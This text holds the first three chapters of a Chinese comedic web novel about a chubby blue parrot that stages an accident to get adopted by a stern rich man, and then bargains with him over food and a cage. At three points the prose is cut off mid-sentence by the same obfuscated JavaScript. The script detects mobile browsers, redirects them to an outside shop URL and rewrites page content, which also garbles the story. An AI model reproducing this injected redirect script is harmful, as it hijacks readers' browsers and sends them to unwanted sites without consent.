《你也很为团宠小鸟着迷吧》 1. 一团糯米糍 深秋。 缠缠绵绵下了半个月的雨,C市终于迎来了难得的晴天。 长长的电线上,密密麻麻站着无数只圆滚滚的麻雀,远远望去,仿佛一团团墨点点缀着布满晚霞的天空。 其中,有一团墨点格外特别。 特别的肥。 电线中段,和小伙伴们挤在一起的元呼呼费力地挪了挪爪子,动作间,身下的线轻轻晃了晃,招来旁边几只麻雀小伙伴们惊慌失措的“啾啾”声。 他缩了缩脖子,把蓬松的胸羽压得更深些,让自己的体型尽量缩小点,给其他鸟腾出空间来保持平衡。 等小伙伴们纷纷站好后,他才放松身子,一团蓝色糯米糍重新膨胀开来。 “咕噜……”和羽毛一同膨胀的,还有如影随形的饥饿感。 肚子发出不争气的哀鸣声,元呼呼黑豆似眼睛滴溜溜地转,瞄向电线杆下方不远处的长椅。 一个小男孩正坐在上面吃面包,碎屑掉了一地,有几只胆大的麻雀已经飞了下去,敏捷地啄食着。 元呼呼也想分一杯羹。 但还没等他行动,旁边一只老麻雀就窜出来严厉地啄了他一下,翅膀扑棱着把他往麻雀堆里挤了挤,意思很明显:贪吃鬼,别冒头,老实等着。 老麻雀是收留元呼呼的好心鸟,也是这个麻雀群里中流砥柱般的存在,在麻雀群中有很高的威望。 公园里食物有限,竞争激烈,不仅要防着野猫,还要和其他鸟群竞争。 集体行动,有序进食,是麻雀群的生存法则。 元呼呼体型大,吃得多,羽毛颜色显眼还飞得慢,麻雀群怕他被盯上,常常安排他在强壮敏捷的鸟后面进食。 所以每次轮到他时,地上的食物早已被搜刮得七七八八,可怜他小小年纪,就只能捡点残羹剩饭。 这次也不例外。 元呼呼在第一批麻雀飞走后得以下地觅食,但也只能勉强啄起一点碎屑,咽下去没什么滋味,更不顶饿。 没办法,快到冬天了,食物越来越少,即使麻雀老小们惦记着他,也腾不出多少食物来填他的嘴。 叹了一口气,元呼呼抬起头,望向公园另一头。 就在那里,一个穿着讲究的老太太正慢悠悠地溜着一只鸟笼,鸟笼精致,里面的小鸟羽毛油光水滑,神态傲然。 待走到长椅旁,老太太优雅落座,从包里掏出一个小食盒和一个银质小勺子。 食盒打开,里面满满都是香喷喷的鸟食,她用勺子舀了一勺递到笼边,小鸟不紧不慢啄食,偶尔清脆地叫唤两声,一副吃穿不愁的娇贵模样。 元呼呼看得眼睛都直了,下意识地咂咂嘴,喉咙里发出羡慕的“啾啾”声。 同样是鸟,差距怎么就这么大呢? 他又想起前几天觅食时在宠物店外看到的海报。 一只五彩斑斓的大鹦鹉站在主人手上,主人大笑着给它喂鸟食,那鹦鹉得意地叼着食物,小眼神满是炫耀:看见没,这才叫鸟生! 这一刻,某个想法在元呼呼心里迅速生根发芽——才艺+卖萌=饭票。 他,元呼呼,一只有着聪明才智和倾城美貌的小鸟,凭什么要在野外风餐露宿? 他也要过上有零食吃,有暖窝睡,被人类捧在手心里的好日子! 目标明确,元呼呼扑棱扑棱飞回麻雀群,对着小伙伴们大声宣布。 他要碰瓷一个有钱人,带领麻雀群走上发家致富的道路。 元呼呼所在的公园毗邻高级公寓区,每到傍晚时分就有很多车辆经过,他潜藏在公园门前的树上,经过几天的侦查,锁定了碰瓷目标。 一个总在固定时间路过,穿着一丝不苟正装,看起来面容冷峻生人勿近的人。 这样的饲主,没有别人要养,可以专心致志将金钱都贡献给小鸟家族,最适合碰瓷了! 至于别人都没成功自己能不能做到这个问题,元呼呼根本没有思考过,毕竟像他这种鸟见鸟爱的存在,谁见了不会被迷倒呢。 这个男人现在看着生人勿近,等到见到他,就会懂什么叫做一见小鸟误终生。 而计划执行的时间,就是今天! 天气晴朗,微风习习,在鸟的记忆里,这种时候最适合干大事。 被压弯的树杈上,元呼呼挺着小胸脯,仔细梳理着引以为傲的顺滑羽毛,确保每一根都整整齐齐,让他能以最优雅的姿态出现在目标面前。 等整理完外表,他就开始在心里默默演练昨晚构思好的碰瓷计划。 等到目标出现,他就优雅地从树枝上一跃而起,滑翔而下,让阳光完美地展现他干净的羽毛和潇洒的身姿,随后在一阵微风中滑铲到目标面前,摆出一个酷炫的完美造型作为收尾…… “阿嚏!” 一阵冷风吹过,元呼呼身子抖了抖,没忍住打了个小小的喷嚏,思绪被打断,原本酝酿好的气势也散了个七七八八。 他懊恼地甩了甩脑袋,重新集中注意力盯着前方。 与此同时,一道熟悉的车影映入眼帘。 来了! 线条流畅的黑色轿车如往常一般出现在公园外的道路上,元呼呼跌跌撞撞地从树枝上飞起来,径直跟在车辆后面,努力扇动着小翅膀加速。 终于,在又往前行驶了一段距离后,黑色轿车速度渐渐慢了下来,最后在停车位上停下。 车门打开,穿着一身剪裁合体看起来就价格不菲的深灰色西装的男人钻出来,夕阳的余晖给他周身镀上了一圈金边,在元呼呼的眼里满是金钱的味道。 就是现在。 阳光作披风,属于主角的bgm响起,漂亮小鸟闪亮登场。 元呼呼深吸一口气,张开翅膀,猛地一个俯身,朝着目标冲去。 计划是完美的,现实是骨感的。 或许是长期营养不良导致正在长身体的他还没能将软乎乎的肉变成肌肉,元呼呼发现自己俯冲的角度有点歪,掉落的速度有点快,最关键的是,还停不下来。 元呼呼:o.O? “啾啾啾——!”他惊慌地叫了一声,努力扑腾翅膀想要调整姿势,试图展现计划中那种轻盈落地的效果。 然而,在顾晏的视角,只看到一团蓝色的球以一种堪称狼狈的姿态,连滚带爬从斜方砸了过来。 那球在空中咕噜噜地翻滚着,最终“啪叽”一声,精准地撞到了他的小腿上,带来一阵鲜明的痛感,随后顺着光滑的西裤布料,一路滑到他的皮鞋上,最后滚下地不动了。 顾晏眉头微蹙,低头看向脚边,终于发现了这团球的真面目。 哪来的小肥鸟? 小鸟体型敦实,此刻正晕头转向地挣扎着,两只纤细的爪子在空中无力地蹬了几下,终于翻过身来,晃了晃小脑袋,努力抬起头。 顾晏就这样对上了一双圆溜溜、湿漉漉的眼睛。 那眼睛的主人似乎也懵了,呆滞了片刻,随即像是突然想起了什么,努力眨了眨眼,脸上很快挤出了一个表情。 如果鸟也像人一样有智慧的话,那大概是混合了三分无辜,三分可怜,两分谄媚以及两分“本鸟天下第一美”的自信的鸟界调色盘。 元呼呼不知道顾晏心里在想什么,只知道他不能让到手的鸭子跑了。 所以在计划失败的第一时间,他没有去舔舐自己隐隐作痛的地方,而是第一时间歪了歪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278763|198323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,使尽浑身解数,冲着目标对象露出了他认为最有可能打动他的姿态。 “啾啾~”可怜兮兮喊了一声,元呼呼自己都被自己的声音恶寒到了。 哪来的小夹鸟! 但这声音丝毫没有打动站在原地的顾晏,他只是静静垂头,盯着自己刚才为了躲鸟下意识挪了一步的脚看。 元呼呼的视线下意识也看了过去。 映入眼帘的是一滩新鲜的还没凝固的—— 鸟屎。 而罪魁祸首,正是成群结队跟在元呼呼身后看热闹的麻雀们。 完、蛋、了! 出师未捷身先死,碰瓷不成先送礼。 全天下再也找不到比他们家更蠢的鸟了。 似乎是感受到了元呼呼的死亡凝视,小麻雀们一个个站在电线上安静如鸡,你推我搡。 闹到最后也没鸟肯承认,到底是谁这么没用,被吓屎了。 元呼呼幽幽收回目光,暂时没时间去找罪魁祸首,反正他身上又没写麻雀群小鹦鹉的名字,再怎么样也算不到他头上,当务之急还是赶紧拿下两脚兽,至于之后的事,之后再说。 想到这,他的语气更加殷勤了几分,甚至抑扬顿挫起来。 “啾~啾啾~啾啾啾~啾啾~” 听着喋喋不休鸟叫的顾晏闭了闭眼,额角跳了跳,脑海中第一时间闪过各种清洗费保养费,再加上本身的一点洁癖,让他的心情一瞬间跌至谷底。 他应该立刻把这种看起来就麻烦透顶的胖鸟拎起来放到一边,然后头也不回地离开,把鞋子换下来清洗。 但那只鸟还在仰头看着他。 用那双过分清澈的眼睛。 用那种满是希冀的眼神。 他甚至努力动了动,蹭到他脚边,用他的小脑袋试探性地蹭了蹭他的鞋子。 那么小那么软的生物。 顾晏已经打算把他拎到一边去的手顿在半空中。 沉默蔓延。 元呼呼的心,也随着这几秒的沉默一点点往下沉。 完了完了,这人看起来不太像好骗的类型啊,要不明天换个人碰? 就当他已经在心里物色下一个倒霉蛋的时候,那个从头到尾面无表情的男人,忽然几不可闻地叹了口气。 紧接着,他弯下了腰。 元呼呼吓得闭上了眼睛,准备迎接被拎起丢飞的命运。 预想中的粗暴对待没有到来,一只温热的手落在他乱糟糟的毛上,动作有点生涩,力道却意外地轻。 “脏死了。”那人低声说。 元呼呼小心翼翼地睁开一只眼。 有戏?! 他立刻顺杆上,小脑袋往那温暖的手心里使劲拱,嘴里还配合地发出娇弱可怜的呜咽:“啾……” 顾晏看着掌心里这团脏兮兮肥嘟嘟的小东西,轻轻蹭着他的手心,笨拙地讨好他,原本坚定不多花一分冤枉钱的决心,难得产生了动摇。 鬼使神差下,他伸出手指,挠了挠小鸟的下巴。 元呼呼舒服得眯起了眼,趁热打铁又蹭了蹭。 算了,养一只鸟而已,能花多少钱,顾晏告诉自己,就当日行一善吧。 他把小鸟托在掌心,往家的方向走去。 元呼呼突然被举高,下意识缩紧脖子,等反应过来后高兴地啾啾叫。 “啾啾啾!” “啾啾!” “啾啾啾啾!” “啾啾啾!” “人,你是不是要养我了!” “要好好养知不知豆!” “从此以后你就不是没鸟的野人了!” “你有一个麻雀群的鸟!” 2. 两团糯米糍 回到家,顾晏第一时间给元呼呼找了个安身之所。 原本端正立在桌上的镂空花篮被倒翻过来,严丝合缝盖到了小鸟头上,连转个弯的空隙都没有。 元呼呼被突然放到桌子上,只觉眼前一黑,回过神来时,整只鸟愣在原地。 什么情况? 他试探性地往前挪挪,喙撞上了藤条,往左蹭蹭,翅膀又被挤痛了,再往右挤挤,身上的羽毛被编筐的缝隙勒出一道一道的痕迹。 “啾!”他发出抗议的叫声,声音在倒扣的花篮里闷闷地回荡。 顾晏站在旁边,低头看着临时鸟笼里奋力挣扎的蓝色毛球,满意地点了点头,大小刚好,目标鸟难以越狱。 他转身去火急火燎换鞋,解决历史遗留的卫生问题。 元呼呼看着男人的身影消失在眼前,急得在篮子里转圈。 这是什么两脚兽!刚捡回来就关鸟!还有没有鸟权了! 他深吸一口气,憋足了劲,猛地往上一顶—— 花篮晃了晃,没动。 再顶—— 又晃了晃,还是没动。 元呼呼累得气喘吁吁,一屁股坐回桌上,羽毛都炸开了,透过藤条的缝隙往外看,只能看到空荡荡的大房子,连个活物都没有。 看着看着,他渐渐入了迷,又得意起自己的眼光来。 看看这一眼望不到头的大房子,看看这窗明几净的环境,简直太适合小鸟群串亲戚了。 至于房子,虽然现在还是他主人的,但他主人的迟早是他的,人宠之间何必分的这么清楚呢。 想到这,他不禁愉悦地在原地跳了跳,看着面前的笼子恶狠狠地记账。 等到他成功征服这个男人,第一件事就是把这个笼子撕个稀巴烂,从高高的树上丢下去,让它死无全尸。 等顾晏换好鞋子出来,看到的就是瘫在桌子上化成一滩奶油的小肥鸟。 他顿了顿,拿着刚刚翻出来的小毛毯靠近。 走到桌子前,他微微俯身,连笼带鸟托起来放到了毛毯上。 “夜里会降温,乖乖待在笼子里别乱跑,明天带你去买东西。” 元呼呼愣住。 毛毯软得不像话,带着一股洗衣液的清香,跟他之前在公园睡的那些潮乎乎硬邦邦的树叶完全是两个世界的东西。 他伸出爪子试探性地扒拉了两下,随即整只鸟往上一趴,被暖融融的触感包裹住,舒服得他以为自己来到了天堂。 “啾~”他发出一声满足的哼哼,声音比刚才软了起码八个度。 人,你还怪好的咧,知道给鸟铺毯子。 鸟觉得你有前途! 顾晏垂眼瞥了他一下,嘴角微不可察勾了勾,转身往浴室走去。 元呼呼趴在毛毯上,歪着脑袋看着他的背影消失在拐角,某一刻觉得要是能一直舒服躺平的话,待花篮里也不是不能接受? 但这个念头只在他脑子里存活了不到三秒。 NO!大NO特NO! 他可是要带领麻雀群走向发家致富的伟大小鸟,怎么能被区区一个花篮困住?这花篮哪是什么花篮,这分明就是他在这个家里的地位象征! 今天要是乖乖蹲在里面,以后还怎么跟两脚兽谈条件?还怎么把整个麻雀群都接过来吃香喝辣? 想到这里,元呼呼一骨碌从毛毯上爬起来,小小的眼睛里燃起了熊熊斗志。 在信念的支持下,元呼呼一骨碌爬起来,开始认真研究这个监狱的结构。 藤条编织的缝隙有大有小,他挑了个看起来最大的,把脑袋伸进去试了试—— 卡住了。 他使劲往里缩,缩不回来,往外伸,也伸不出去。 元呼呼:o.O??? “啾啾啾!”他再次发出惊慌的叫声,脑袋卡在花篮缝里,两只爪子在空中乱蹬,花篮被重力压着半翻过去。 顾晏本来正准备脱衣服,听到鸟叫声匆匆走出来,看见的就是这副场景。 微微晃动的花篮里,大半只小鸟露在花篮外,后半截则牢牢卡在花篮内,黑豆似的眼睛里写满了“救命”二字。 他脚步顿住。 “没鸟说过你很胖吗?” 元呼呼眼泪都快出来了:“啾!啾啾啾!” 快救我快救我快救我! 顾晏走到花篮旁蹲下身,看着空中扑腾的小鸟,沉默了两秒。 然后掏出手机,拍了张照片。 元呼呼:??? “啾!!!”他发出愤怒地尖叫,可惜由于脖子被卡,叫声都变得闷声闷气的。 顾晏面无表情地关闭百度,收起手机,先把花篮翻过来,随即转身去厨房取了点油,伸手小心翼翼地托住他的脑袋,涂抹在他卡住的部位,另一只手按住花篮,轻轻往上一抬。 元呼呼感觉脖子一松,整只鸟连同花篮一起被带了起来,脑袋也终于从缝里退了出来。 他晕头转向地在顾晏手心里晃了晃,羽毛乱糟糟地炸着,活像一颗被蹂躏过的蓝色毛球。 顾晏看着他这副惨样,沉默片刻,低声说了句:“笨鸟。” 元呼呼耳朵尖,立刻抬头:“啾!” 你才笨!你全家都笨! 可惜他的抗议在顾晏听来,只是一串听不懂的鸟叫。 他把小鸟重新放回花篮里,这次没盖严,顺手拿了支笔放下面留了一条缝。 “老实待着。”说完,顾晏起身去了浴室,很快,浴室里传来哗啦啦的水声。 元呼呼趴在花篮边缘,从那道缝里往外张望,看见浴室的门关着,灯亮着,磨砂玻璃上隐约透出一个模糊的人影。 他歪了歪脑袋。 两脚兽好像在洗澡? 他又低头看了看自己,羽毛脏兮兮地,沾着今天在地上滚的泥巴。 嗯,他好像也有点脏。 元呼呼抬起脑袋,用喙梳理了两下胸前的羽毛,发现越梳越乱,干脆放弃了。 他把脑袋往翅膀里一埋,听着浴室里隐约的水声,不知不觉眼皮越来越沉…… 不知过了多久,元呼呼被一阵轻微的动静惊醒。 他迷迷糊糊地睁开眼,发现自己被托了起来,顾晏正半蹲在花篮边,一只手捧着他,另一只手拿着一条小毛巾。 刚洗完澡的男人穿着灰色的家居服,头发还有些湿,身上带着沐浴露的清香,整个人看起来比白天穿西装时柔和了许多。 “脏死了。”他说,语气有点嫌弃,但手上的动作却很温柔。 他把小鸟放在一张铺好的新毛巾上,用另一条沾了温水的小毛巾,一点一点地给他擦羽毛。 元呼呼愣住,整只鸟僵在原地。 温热的毛巾从他背上擦过,带走了沾染的污泥,顾晏的手艺很生疏,甚至有些笨拙,但力道控制得刚刚好,没有弄疼他。 “啾啾~”元呼呼发出一声软软的叫唤,身体不自觉地放松下来。 顾晏没回应他,只是继续低头给他擦,严谨地要把他的每一片羽毛都擦干净,擦到某些地方时,元呼呼感觉有点痒,不自觉挣扎了一下。 “别动。”顾晏按住他。 元呼呼就乖乖不动了,仰着脑袋看他。 这个两脚兽,好像也没有表面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278764|198323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来那么冷嘛。 擦了个七七八八后,小毛巾已经变成了灰色,顾晏皱了皱眉,去浴室里一遍毛巾,随后折返回来将刚才没注意到的细枝末节的地方又清洁了一下。 工作大功告成,他端详着手心里的小鸟。 脏兮兮的羽毛被擦拭过后,露出原本的底色,是一种很漂亮的浅蓝色,看起来像一弯浅浅的湖泊,胸前的羽毛蓬松,摸起来软得不像话,黑豆似的眼睛湿漉漉地,正一眨不眨地望着他。 “还挺标志的。”他简短地评价。 元呼呼不知道标志是什么意思,但觉得应该是好话,于是开心地“啾”了一声。 顾晏把他放回花篮里,又去卧室拿了一条旧围巾,把花篮严严实实挡住。 元呼呼好奇地凑过去闻了闻。 是顾晏身上的味道,有点冷冷的,他叼着围巾边缘,拖了一节进花篮,用脑袋在上面拱了拱,又趴上去蹭了蹭,最后整只鸟窝进了那块柔软的布料里,只露出一个脑袋。 顾晏看着他这副模样,嘴角又微微牵了牵。 “睡吧。”他伸手关掉大部分灯,只留下一个小灯,随即转身进了卧室,将门留了一条缝。 元呼呼趴在花篮里,透过缝隙看着那扇虚掩的门,又看看周围这个安静温暖的陌生空间。 窗外下起了小雨,淅淅沥沥地敲着玻璃,但听起来一点也不可怕,反而有种让人安心的感觉。 他把脑袋埋进那件旧围巾里,深吸一口气。 唔,是两脚兽的味道。 他满足地叫了声,闭上了眼睛。 半夜,顾晏被一阵细微的动静吵醒。 他睁开眼,借着门外透进来的光,看见卧室门口出现了一坨黑色的球形影子。 一个毛茸茸的小脑袋从缝里探进头来,黑亮的眼睛在黑暗中闪烁着微弱的光。 元呼呼小心翼翼地往里张望,正好对上顾晏睁开的眼睛。 一鸟一人,四目相对。 沉默。 “啾。”元呼呼发出一声试探性的叫声,像是在问:你醒啦? 顾晏闭了闭眼,深吸一口气。 “你是怎么出来的?” 元呼呼歪了歪脑袋:“啾?” 听不懂。 他见顾晏没有赶他的意思,胆子大了起来,从门缝里挤进来,蹦蹦跳跳地往床边靠近,跳几步,停一停,看看顾晏的脸色,再跳几步,又停一停。 终于,他跳到了床边,仰着脑袋看床上的庞然大物。 好高。 他努力扑腾翅膀想飞上去,但刚飞了一半就力竭,爪子扒拉住床单,挂在了床边。 顾晏看着这只挂在床边奋力往上爬的笨鸟,沉默了两秒。 随后他伸手,拖着他的屁股,把他带了上来。 元呼呼落在柔软的枕头上,整只鸟陷进去一小半,他晕头转向地爬起来,甩了甩脑袋,然后心满意足地往顾晏脸旁边蹭了蹭。 “啾~”他发出一声软绵绵的叫声,闭上眼睛,一脸“我就要睡这里”的理直气壮。 顾晏看着枕头上这团已经准备睡觉的蓝色毛球,又看看自己被占去一半的枕头。 他应该把他拎回去的。 但是…… 窗外雨声淅沥,四周寂静无声,空气里只有枕边这小东西细微平稳的呼吸声。 顾晏盯着他看了半响,最终什么都没做,起身去翻出之前不知道谁送的小箱子,清洗完塞上毛毯,将睡熟的小鸟转移进去,这才重新躺下闭上了眼睛。 算了。 教育小鸟的事。 明天再说。 3. 三团糯米糍 次日,元呼呼是被阳光晃醒的。 他迷迷糊糊地睁开眼,发现自己正蜷在一个透明的塑料小箱子里,身下垫着顾晏昨晚塞进来的毛毯。 箱子被放在客厅的桌子上,透过半透明的箱壁,能看到旁边不远处的花篮。 元呼呼愣了两秒,整只鸟都不好了。 模糊记忆里,昨晚他明明成功睡在了两脚兽的枕头边,软软的枕头,暖暖的被窝,还有阳光晒过留下的味道。 结果呢,他付出真心就这样被对待,仗着他对两脚兽满怀信任,睡得毫无防备,顾晏半夜就把他塞进箱子里丢出来了! 元呼呼愤怒地站起来,用喙啄了啄箱壁,发出“笃笃”的声音。 “啾!” 放我出去! 没人理他。 他继续啄,在坚持不懈啄了十几下后,终于听见卧室那边传来动静。 顾晏穿着睡衣走出来,头发有点凌乱,脸上隐约可以看出没睡好的烦躁,他走到箱子前,居高临下地往下看。 元呼呼仰着头,黑亮的眼睛瞪着他,发出一声声控诉的叫声:“啾啾,啾啾啾!” 你尔多龙嘛!我嘴巴都啄痛了你知不知豆! 顾晏看了他两秒,冷哼一声,弯腰把箱子打开一条缝。 元呼呼立刻挤出来,扑棱着翅膀飞到沙发上,然后回头,继续瞪他。 顾晏没理他,转身去厨房了。 元呼呼在沙发上蹲了一会,见没人来哄他,只好自己跳下来,跟过去。 厨房里,顾晏正在烧水,元呼呼就蹲在厨房门口,看着他走来走去,过了一会,顾晏从柜子里翻出一袋小米,倒了一小碟,又洗了点蔬菜水果,端出来放到了桌上。 元呼呼走过去飞上桌子,低头啄了两口。 眼看着小鸟已经吃上,顾晏这才冷不丁开口,说了今天第一句话。 “你下次要是再在睡觉的时候唱歌,我就把你摇醒,大家都别睡了。” 元呼呼:O.O 压力一只鸟? 他将嘴里的食物努力咽下去,扑腾跳到顾晏旁边,狠狠啄起他的手。 两脚兽,大坏蛋!就知道在鸟吃饭的时候吓鸟,说说说,食欲都说没了,把鸟饿瘦了怎么办! 顾晏这次没躲,反而一把抓住了还想继续行凶的小坏鸟。 “啄上瘾了是吧?”他眯起眼睛,把元呼呼举到眼前,“我说一句,你啄一下?脾气还挺大。” 元呼呼被抓在半空,翅膀扑腾了两下,发现自己动弹不得,只能瞪着一双黑豆眼,气鼓鼓地和顾晏对视。 “啾!” 放开鸟! 顾晏没放,反而把他往自己面前又凑近了一些:“知不知道不能随便啄人?” 元呼呼扭过头,拒绝看他。 顾晏被这小胖鸟的态度气笑了,他腾出一只手,把桌上那碟小米往旁边挪了挪。 “不想吃饭了是不是?” 元呼呼的脖子僵了一瞬,余光悄悄往那碟小米的方向瞟。 “那正好,”顾晏作势要把小米收走,“那就别吃了,什么时候知道错了,什么时候再……” “啾!!!” 元呼呼发出一声惊天动地的惨叫,整只鸟在他手里疯狂扭动,小翅膀扑腾得羽毛乱飞。 不行,不能收,那是他的早饭,他好不容易才决定吃完就原谅两脚兽,两脚兽怎么能这样! 顾晏被他的反应逗得嘴角微微上扬,但很快压下去,继续保持严肃的表情:“知道错了?” 元呼呼扭得更厉害了,嘴里叽叽喳喳叫个不停,也不知道是在骂人还是在求饶。 “说人话,听不懂鸟语。” 元呼呼:??? 你尔多龙嘛,欺负鸟不会说话是不是! 挣扎得累了,他终于停下来,小胸脯一起一伏地喘着气,黑亮的眼睛里竟然隐约有点委屈的湿意。 顾晏看着那双眼睛,心忽然软了一下。 算了,跟一只鸟较什么劲。 他叹了口气,把元呼呼重新放回桌上,又把小米碟推回他面前:“吃吧。” 元呼呼站在碟子边上,却没立刻低头,而是歪着脑袋看他,像是在确认这是不是陷阱。 顾晏伸手,轻轻敲了一下他的小脑袋瓜:“以后不许啄人,记住了?” 元呼呼被弹得往后一缩,小爪子踩了两步才站稳,他低头看了看面前的小米,又看了看顾晏,犹豫了两秒,低头啄了一口。 随后他抬起头,对着顾晏小声地“啾”了一下。 这一声和刚才的控诉完全不一样,软软的,像是在试探顾晏的态度。 顾晏盯着他看了两秒,忽然伸手用手指轻轻蹭了蹭他头顶的绒毛。 “快吃。” 元呼呼被蹭得眯了眯眼睛,这才低头继续啄小米,啄着啄着,他忽然停下来,叼起一颗最饱满的小米粒,放到顾晏的手边,紧接着仰头看他,黑亮的眼睛里带着点期待。 顾晏愣了一下。 这是……给他留的? 他看着那颗小小的米粒,忽然觉得有点好笑,又有点说不清的熨帖。 “我不吃这个。”他把米粒推回去,“你自己吃。” 元呼呼歪了歪头,像是确认了两脚兽是真的不要,这才把那颗小米啄回去,心满意足地吃起来。 吃着吃着,他又被水果的味道俘获芳心,暗下决心要让家里鸟将来都吃上这种美味,至于顾晏,他都愿意把最好的一颗分给两脚兽了,两脚兽自己不要,那就不怪他了。 为了吃的妥协,一点不丢鸟。 鸡飞人跳地吃完早饭,顾晏收拾好残局,转身进房换了一身衣服,又重新把塑料小箱子拿了起来。 元呼呼蹲在沙发上,歪着头看他,心里暗暗思索,这是要出门? 果不其然,顾晏走到他面前,朝他伸出了手。 元呼呼警惕地看着那只手,往后退了半步。 顾晏的手停在半空,等了两秒,见元呼呼没反应,就直接弯下腰把他拎了起来。 “啾!”元呼呼抗议地叫了一声,但小鸟拧不过两脚兽,只能被重新放到箱子里,只能被迫看着顾晏拎起箱子起身往一个方向走去。 这是要去哪? 元呼呼有点紧张,爪子紧紧抓住箱底的毛毯,但他转念一想,两脚兽给他喂好吃的,给他布置窝,这么用心,应该不至于立马把他卖了吧。 想到这,元呼呼放下了悬着的小鸟心,兴致勃勃地看着顾晏把他带上了车。 车子平稳行驶一段时间后停了下来,顾晏把箱子拿上,走进了一家宠物店。 宠物店的大门一推开,元呼呼的眼睛就不够用了。 花花绿绿的商品,各种各样的笼子,还有此起彼伏的猫叫声狗叫声。 他被顾晏从箱子里拿出来,下意识地往顾晏肩膀上爬,相较于陌生的环境,还是这个地方最安全,站的高看得远,有事情随时都可以跑路。 顾晏没阻止他,只是侧头瞥了他一眼,就由他去了。 店员迎上来,笑容满面:“先生您好,需要点什么?您这只鹦鹉真漂亮,看起来被养得很好呢?” “刚带回家的,想来买个鸟笼。”顾晏对待陌生人语气倒是很温和,让人如沐春风。 元呼呼百无聊赖地想,这难道就是别人口中的窝里横吗?两脚兽的真面目,只有小鸟侦探知道! 店员热情地引导他们走向了笼具区。 元呼呼蹲在顾晏肩膀上,居高临下地看着那些笼子。 有小的,有大的,有简单的,也有复杂的,扫视一圈,他的目光很快被一个笼子吸引了。 那是一个比别的笼子都大一圈的存在,里面挂着一个彩色的秋千,秋千在风中轻轻摇晃,元呼呼眼都看直了。 他的爪子下意识在顾晏肩膀上踩了踩。 顾晏正在听店员介绍价格。 “这款基础款的一百二十八,适合小型鹦鹉,性价比很高,这款三百八十八的,空间更大,还配了栖木和秋千,鹦鹉住着更舒服,这边还有豪华款的,带爬架和玩具,五百八十八……” 顾晏的目光从那几个笼子上一一扫过。 一百二十八的那个,铁丝很细,空间确实小了点,感觉放小胖鸟进去转个身都费劲。 三百八十八的那个,做工明显扎实一些,里面的栖木是实木的,秋千看起来也稳当。 至于五百八十八的,他只看了一眼就移开了视线,一个笼子而已,没必要配置这么多花里胡哨的功能。 他伸出手,敲了敲三百八十八那个笼子的铁丝。 “这个够结实吗?” “结实的,加粗铁丝,咬不坏的。”店员赶忙说道。 顾晏没说话,看起来对这个笼子还算满意。 “啾!!!” 一声嘹亮的叫声骤然在耳边炸开。 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278765|198323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏偏过头,就看到元呼呼正伸长脖子,整个脑袋都朝那个豪华笼子的方向探过去,黑豆眼瞪得溜圆,翅膀微微张开,一副随时要扑过去的架势。 “啾啾啾!” 那个那个那个! 顾晏面无表情地把他的脑袋轻轻拨正:“看什么看,那个不适合你。” 元呼呼被拨回来的脑袋立刻又转了过去。 “啾!” 适合!特别适合! 顾晏不理他,对店员说:“那个三百八十八的,拿下来看看吧。” 店员笑着应了一声,正准备去取,元呼呼急了。 他扑棱一下从顾晏肩膀上飞起来,直接落在了那个豪华笼子的顶端,两只小爪子紧紧抓住铁丝,低头对着顾晏就是一顿输出:“啾啾啾啾啾!!!” 就是这个!他就要这个!彩色秋千!那个秋千是彩色的!两脚兽你看看清楚!彩色的! 顾晏仰头看着蹲在笼子顶上急得羽毛都炸起来的小胖鸟,额角跳了跳。 “下来。” “啾!” 不下! “那个花里胡哨的根本没必要。” 元呼呼歪了歪脑袋,像是在理解花里胡哨是什么意思,然后他低头用喙啄了啄里面的彩色秋千,又抬头看顾晏,眼睛里满是期待。 顾晏不为所动:“下来,我们买那个三百八十八的。” 店员在旁边憋着笑,看着这一人一鸟的互动。 元呼呼见硬的不行,立刻换了策略。 他把脑袋歪到一侧,黑亮的眼睛湿漉漉地望着顾晏,小小声地“啾”了一下。 那声音又软又糯,像是在撒娇,又像是在哀求。 顾晏的眉头动了动。 元呼呼见有效果,立刻加码。 他从笼子顶端飞下来,落在顾晏的肩膀上,然后用脑袋蹭了蹭顾晏的脸颊,一边蹭一边发出细细的软软的叫声。 “啾~啾~” 蹭完一下,他又用喙轻轻碰了碰顾晏的耳垂,然后退后一点,眼睛亮晶晶地看着他。 买嘛买嘛买嘛。 顾晏站在原地,持续面无表情。 店员已经忍不住笑出声了:“先生,您家鹦鹉真聪明,还会撒娇呢。” 顾晏没说话。 他低头,对上元呼呼那双满是期待的眼睛。 小胖鸟见他看过来,又立刻歪头,又软软地“啾”了一声。 这次还带上了翅膀,微微张开,像是在等待一个拥抱。 顾晏沉默了三秒。 “那个五百八十八的,拿下来看看吧。” 元呼呼:!!! 他成功了!!! 